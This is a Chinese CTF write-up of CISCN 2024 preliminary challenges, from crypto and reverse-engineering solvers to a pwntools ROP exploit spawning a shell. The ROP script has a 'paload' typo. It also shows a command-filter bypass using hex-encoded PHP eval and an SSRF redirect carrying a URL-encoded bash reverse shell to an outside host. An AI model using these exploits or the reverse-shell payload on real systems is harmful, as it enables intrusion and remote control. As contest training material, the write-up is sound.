Ciscn初赛

WriteUp

Posted by Aaron on May 19, 2024

Misc

1.火锅链观光打卡

记得先注册下 metamask,然后连接钱包,答题即可

imgimg

2.Power Trajectory Diagram

npz文件解压可以得到index.npy input.npy output.npy trace.npy

img

字符串集一共有40种字符串,并且有13种索引值,我们可以先处理每个周期的数据,其实每个周期也就是通过收集功率信息来确定一位密码

在一个周期收集了40组数据,在处理每组数据时信息集中于低功率部分,那我们可以先提取40组数据中所有的最小值,然后再提出每个周期的最大值,值对应的索引即为input中所对应的字符串。 参考文章:https://blog.csdn.net/m0_74043383/article/details/132294607

import numpy as np

ac = np.load('attachment.npz')

index = ac['index']
trace = ac['trace']
input = ac['input']

# for file in ac.files:
#     print(f"{file}:")
#     print(ac[file])

#np.savetxt('trace.txt', trace)

for i in range(13):
    tmp = []
    table = input[40 * i:40 * (i + 1)]
    for j in range(40):
        min = np.argmin(trace[i * 40 + j])
        max = np.argmax(trace[i * 40 + j])
        tmp.append(min)
        #tmp.append(max)

    m = np.argmax(tmp)
    n = table[m]
    print(n,end='')
    #_ciscn_2024_  需要删去最后一个a

3.通风机

首先查询到 .mwp 文件需要使用西门子的 STEP 7 Micro/WIN 打开,在网上找到相关安装包安装。

img

结果发现打不开,导出软件自带的工程文件并查看文件头。发现缺失 47 4A 4B 三个字节。

img

补齐后成功打开,在 Symbol Table -> 用户定义1 内找到关键信息 ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9

img

base64 解码后得到 Flag

flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}

Crypto

1.古典密码

使用Atbash Cipher再用base64解码再栅栏密码梭了

img

2.OvO

由代码可知:

rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
\[e = 65537 + kk * p + (kk+2) * ((p+1) * (q+1)) + 1 = 65537 + kk * p + (kk+2) * (p*q+p+q+1) +\] \[e = 65537 + kk * p + (kk+2) * (n+p+q+1) +\] \[e= 65537 + kk * p + (kk+2) * n+(kk+2) * p+(kk+2) * q+(kk+3)\]

等式左右两边同时乘以一个 p:

\[e*p= 65537*p + kk * p^2 + (kk+2) * n*p+(kk+2) * p^2+(kk+2) * n+(kk+3)*\]

构造多项式:\(f = e*p - (65537*p + kk * p^2 + (kk+2) * n*p+(kk+2) * p^2+(kk+2) * n+(kk+3)*p\)

对等式\(e= 65537 + kk * p + (kk+2) * n+(kk+2) * p+(kk+2) * q+(kk+3\)

左右两边同时整除 n,可得:e//n = (kk+2) ,所以 kk = e//n - 2

将已知 e 的高位攻击转化为已知 p的高位攻击,利用 coppersmith攻击得到 flag

img

from Crypto.Util.number import *
from gmpy2 import *

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
kk = e // n - 2

p = polygen(RealField(1024))
f = e*p - (65537 * p + kk * p ^ 2 + (kk + 2) * n * p + (kk + 2) * p ^ 2 + (kk + 2) * n + (kk + 3) * p)
root = f.roots()

PR.<x> = PolynomialRing(Zmod(n))
f = int(root[1][0]) + x
root1 = f.monic().small_roots(X=2^200,beta=0.4)
print(root1)

p = int(root[1][0]) + root1[0]
print("p =",p)
q = int(n)//int(p)
print("q =",q)
assert p*q == n
p = 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q = 11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637

rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
print("e =",e)
d = invert(e,(q-1)*(p-1))
m = pow(c,d,n)
print(long_to_bytes(int(m)))

Pwn

1.gostack

from pwn import *
from struct import pack
from ctypes import *
import sys
#from LibcSearcher import *
import base64
s   = lambda content : p.send(content)
sl  = lambda content : p.sendline(content)
sa  = lambda content,send : p.sendafter(content, send)
sla = lambda content,send : p.sendlineafter(content, send)
rc  = lambda number : p.recv(number)
ru  = lambda content : p.recvuntil(content)
rl = lambda: p.recvline()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
def log(message_int):
    success(hex(message_int))
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin\x00'))

#p = process('./gostack')
p = remote('8.147.129.254',)
#gdb.attach(p,'b *(0x08048654)')
#gdb.attach(p,'b *$rebase(0x19E8)')  #'b *$rebase(0x123456)'
#context(arch='amd64', os='linux')
context(log_level='debug',arch='amd64', os='linux')#64位
#context(os='linux', arch='i386', log_level='debug')#32位
#libc=ELF("libc-2.27.so")
#elf = ELF('./attachment-12')

#exp
elf=ELF('./gostack')
bss=0x563950
#gdb.attach(p,'b *0x4A0A28')
syscall_ret=0x4616C9
pop_rdi=0x4a18a5
pop_rsi=0x42138a
pop_rax=0x40f984
pop_rdx=0x4944ec
payload=b'a'+b'\x00'*(0x1c8+0x7)
payload+=p64(pop_rdi)+p64(0)*6+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x10)+p64(pop_rax)+p64(0)+p64(syscall_ret)#调用read
paload+=p64(pop_rdi)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_ret)#shell
sla('Input your magic message :',payload)
sl('/bin/sh\x00')
p.interactive()

Reverse

1.asm_re

获取一段txt的asm代码 可以查看到数据段为

img

使用gpt改写得到伪c代码

#include <stdio.h>

int main() {
    unsigned char expected_array[] = {
            0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00,
            0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00,
            0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00,
            0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00,
            0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00,
            0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
            0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00,
            0x37, 0x10, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00,
            0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00,
            0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
            0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
            0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00,
            0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00,
            0x17, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00,
            0x47, 0x0F, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00,
            0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00,
            0x37, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00,
            0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00,
            0x07, 0x11, 0x00, 0x00, 0x87, 0x27, 0x00, 0x00
        };
    
    int length = sizeof(expected_array) / sizeof(expected_array[0]) / 4; // 每个字符占4个字节

    char decoded_flag[length + 1];

    for (int i = 0; i < length; i++) {
        int encoded_value = *(int *)&expected_array[i * 4]; // 每4个字节一个字符
        int temp = encoded_value - 0x1E;
        temp ^= 'M';
        temp -= 0x14;
        temp /= 'P';
        decoded_flag[i] = temp;
    }

    decoded_flag[length] = '\0'; // 添加字符串结束符

    printf(decoded_flag);

    return 0;
}

//flag{67e9a228e45b622c2992fb5174a4f5f5}

2.androidso_re

在main函数中发现调用了inspect

img

在inspect中发现调用了jni的getkey和getiv 并且使用key和iv进行DES/CBC加密

img

在jni中发现调用了native层的函数

img

我们可以使用frida来hook这两个函数的返回值

function hook() {
    let jni = Java.use("com.example.re11113.jni");

    var res = jni.getiv();
    console.log("iv为:" + res);

    var keyaddr = Module.findExportByName("libSecret_entrance.so", "Java_com_example_re11113_jni_getkey");
    if (keyaddr) {
        Interceptor.attach(keyaddr, {
            onEnter: function(args) {
                console.log("调用jni");
            },
            onLeave: function(retval) {
                try {
                    var result = Memory.readUtf8String(retval);
                    //console.log("Reconstructed key = " + result);
                    retval.replace(ptr(result));
                } catch (memError) {
                   // console.log("error: " +memError.message);
                }
            }
        });

        // 主动调用getkey
        var retkey = jni.getkey();
        console.log("key为:" + retkey);
    } else {
        //console.log("fail for find");
    }
}

function main() {
    Java.perform(function () {
        hook();
    });
}
setTimeout(main,200)

得到返回值iv和key分别为 Wf3DLupsA8UdWaeq

使用脚本解密得

from Crypto.Cipher import DES
import base64

def decrypt(encrypted_data, key, iv):
    cipher = DES.new(key, DES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.rstrip(b'\0')

def main():

    encrypted_flag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw=="
    key = b'A8UdWaeq'  # 替换为你实际的密钥
    iv = b'Wf3DLups'    # 替换为你实际的 IV

    encrypted_data = base64.b64decode(encrypted_flag)

    decrypted_data = decrypt(encrypted_data, key, iv)
    print("flag{"+decrypted_data.decode('utf-8')+"}")

if __name__ == "__main__":
    main()

得出flag

img

3.rust_baby

首先根据明显的base64字符串定位到主函数

img

我们将这串base64解码可以看到

img

其中有一段 igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc= 我们推测应该是密文,将其解码发现只是一段数据

img

发现解密后的数据段长度为104 那么我们使用长度104的字符串进行输入动调

img

当我们运行到这个do-while循环中时

img

我们可以首先发现第一个for循环将我们所输入的字符分作8个一组进行后续的加密以及^0x33 加密函数如下

img

我们没有逆向这个地方的加密函数,直接对加密之后的数据与加密之前的数据进行比较

在v21的数组中可以看见我们传入的值

img

在v165中也看到了我们所输入的字符串,并且按8个一组加密

img

在运行完之后获取上层加密之后函数的值v195中

img

我们同样发现了8个一组的数据,数据略有不同,推测应该是加密之后的值

img

跟上方的初始数据分别 +1 +1 +0 +0 -1 -1 -2 -2

我们也可以看到v22的值为8个一组的

img

我们接着往下执行发现

img

这段数据跟我们base64解密中的值有关,应该是与这两个固定值做加密 在我们加密完之后下断点观察数据如下

img

img

在后续断点函数中的src中

img

有数据如下

img

将上述两段数据进行异或之后得到一个key值

img

经过不同输入的测试将上述两段值异或之后输出的key值相同

在这一块代码中有明显的base64加密过程

img

以及base64码表

img

在我们最后判断base64的值是否相等的地方可以看到我们之前传入的参数值与最开始base64解码的值进行比较

img

img

我们将传入参数的base64提取出来,使用我们之前两段数据的key值进行异或以及前面do-while循环中的异或0x33

img

发现就是我们传入值的‘12345678’*13(104位)进行第一次加减法操作后的值

那么我们可以将最后比较的base64的值替换上方的值

img

我们将这段数据进行最上方的加减操作

data = [0x65,0x6b,0x61,0x67,0x7c,0x37,0x67,0x34,0x33,0x37,0x30,0x62,0x34,0x2e,0x36,0x68,0x2f,0x31,0x2d,0x34,0x64,0x67,0x33,0x2f,0x38,0x61,0x63,0x30,0x2e,0x32,0x34,0x35,0x61,0x36,0x35,0x66,0x3a,0x62,0x3b,0x34,0x31,0x7c,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47]
opcode = [1,1,0,0,-1,-1,-2,-2]

for i in range(0,len(data),8):
    for j in range(8):
        data[i+j] += opcode[j]

print(bytes(data))

img

4.whereThel1b

程序是Cython编译的so文件。但是在主函数中提取出了加密的密文。首先ida查看so文件

img

发现base64字符串,后经过测试发现,输出的密文确实满足base64特性,也就是密文数量与明文数量呈4/3倍关系。

将代码改成输出密文查看关系

img

后测试拿111的base64结果与222的 base64 结果异或发现是固定值。则满足通过固定值测试出原本异或的key

经过程序原本的加密函数之后获得 ‘1‘ * 42 的加密结果如下:

123,76,117,64,87,86,85,88,82,77,119,77,94,74,83,93,64,116,77,106,69,100,67,95,126,68,103,85,126,114,76,107,75,122,65,78,102,65,91,91,75,66,94,108,106,124,72,91,83,72,114,89,93,87,118,91

然后与111的base64加密结果循环异或

tmp = [0x4d,0x54,0x45,0x78]
key = [123,76,117,64,87,86,85,88,82,77,119,77,94,74,83,93,64,116,77,106,69,100,67,95,126,68,103,85,126,114,76,107,75,122,65,78,102,65,91,91,75,66,94,108,106,124,72,91,83,72,114,89,93,87,118,91]
for i in range(0,len(key)):
    print(key[i] ^ tmp[i % len(tmp)],end=',')

得到

54,24,48,56,26,2,16,32,31,25,50,53,19,30,22,37,13,32,8,18,8,48,6,39,51,16,34,45,51,38,9,19,6,46,4,54,43,21,30,35,6,22,27,20,39,40,13,35,30,28,55,33,16,3,51,35

再与密文异或

import base64
enc = [54,24,48,56,26,2,16,32,31,25,50,53,19,30,22,37,13,32,8,18,8,48,6,39,51,16,34,45,51,38,9,19,6,46,4,54,43,21,30,35,6,22,27,20,39,40,13,35,30,28,55,33,16,3,51,35]
data = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
flag = ''

for i in range(0,len(enc)):
    flag += chr(enc[i]^data[i])
    #print(chr(enc[i]^data[i]),end='')
print(base64.b64decode(flag)

得到base64解码后有

img

5.gdb_debug

在程序中动调获取异或的key和索引如下

img

img

img

经过这些随机数加密并且获取他们的值即可根据逻辑还原程序可得

key = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1,
       0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7,
       0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9,
       0x88, 0x78]
enc1 = 'congratulationstoyoucongratulationstoy'

enc2 = []

for i in range(len(enc1)):
    enc2.append(ord(enc1[i]) ^ key[i])

key2 = [0xDE, 0xAA, 0x42, 0xFC, 0x09, 0xE8, 0xB2, 0x06, 0x0D, 0x93, 0x61, 0xF4,
        0x24, 0x49, 0x15, 0x01, 0xD7, 0xAB, 0x04, 0x18, 0xCF, 0xE9, 0xD5, 0x96,
        0x33, 0xCA, 0xF9, 0x2A, 0x5E, 0xEA, 0x2D, 0x3C, 0x94, 0x6F, 0x38, 0x9D,
        0x58, 0xEA]

enc3 = []
for i in range(len(enc2)):
    enc3.append(enc2[i] ^ key2[i])

index = [0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01, 0x10, 0x22, 0x06, 0x17,
         0x16, 0x08, 0x19, 0x13, 0x04, 0x0F, 0x02, 0x0D, 0x25, 0x0C, 0x03, 0x15,
         0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09, 0x1D, 0x23, 0x1F, 0x20, 0x24, 0x0A,
         0x00, 0x21]

table = [0] * 38
for i in range(38):
    table[index[i]] = enc3[i]

key3 = [0xD9, 0x0F, 0x18, 0xBD, 0xC7, 0x16, 0x81, 0xBE, 0xF8, 0x4A, 0x65, 0xF2,
        0x5D, 0xAB, 0x2B, 0x33, 0xD4, 0xA5, 0x67, 0x98, 0x9F, 0x7E, 0x2B, 0x5D,
        0xC2, 0xAF, 0x8E, 0x3A, 0x4C, 0xA5, 0x75, 0x25, 0xB4, 0x8D, 0xE3, 0x7B,
        0xA3, 0x64]

flag = []
for i in range(len(table)):
    flag.append(table[i] ^ key3[i])

print(bytes(flag))
#flag{78bace5989660ee38f1fd980a4b4fbcd}

Web

1.Simple_php

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}

show_source(__FILE__);
?>

代码审计一下,发现这个有意思的函数 escapeshellcmd

escapeshellcmd — shell 元字符转义

功能:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,反斜线(\)会在以下字符之前插入: &#;` *?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

但是我们通过查看PHP手册,可以看到escapeshellcmd并没有对-做转义,所以我们还是可以把参数传到命令中。

然后网上查找一下关于escapeshellcmd的文章

从escapeshellcmd讲参数注入

谈escapeshellarg绕过与参数注入漏洞(p神yyds)

经过测试发现可以使用PHP的命令行,然后又因为要绕过那么多的限制,将命令转化为16进制达到一个绕过的效果。

但是测试中直接使用hex2bin函数无法执行,我们再嵌套一层函数substr,接下来就是执行中的命令就是和文章中师傅提到的一样,测试密码都一样的。

#echo `mysql -u root -p'root' -e 'show database;'`;
#echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;
#echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;

img

img

img

 cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

2.easycms_revenge

题目而且给我们说是研发修好了,感觉和这篇文章的师傅有点像啊

某cms 前台RCE漏洞分析(还有几篇类似的就不一一放出来了)

get 的 s 参数可以控制访问的控制器在哪个目录,以至于我们可以直接通过 index.php?s=api&c=xxx 进入 api 文件夹调用任意控制器。当然这个师傅的这个原来的地方被修复了,我们只能查找其他地方。

发现两个位置可以实现利用

img

img

咱们可以通过这两段代码不难发现是有可调用的地方的。

又根据前一天 easycms 的提示可得,需要先在 http 头使用 Location 绕过 Remote_addr 的限制才能使用命令执行

# /flag.php
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}

在 cmd 里传递反弹 shell 命令,这里比前提题多加了些限制,服务会检查给出的链接是否为图片,否则就不执行,通过加 GIF89a 绕过即可

# 1.php 需在公网服务器上部署
#define width 1337-
#define height 1337
GIF89a
<?php
echo "GIF89a";
header("Location: http://127.0.0.1/flag.php?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%2e%31%2e%31%2e%31%2f%36%36%36%36%20%30%3e%26%31%27",true,302);
exit();
?>

POC:

http://eci-2ze3s1k73olbw1irlfl1.cloudeci1.ichunqiu.com/?s=api&c=api&m=qrcode&text=1&thumb=http://1.1.1.1/1.php&size=10&level=1

img

反弹得到的 shell 在根目录使用 ./readflag 即可得到 Flag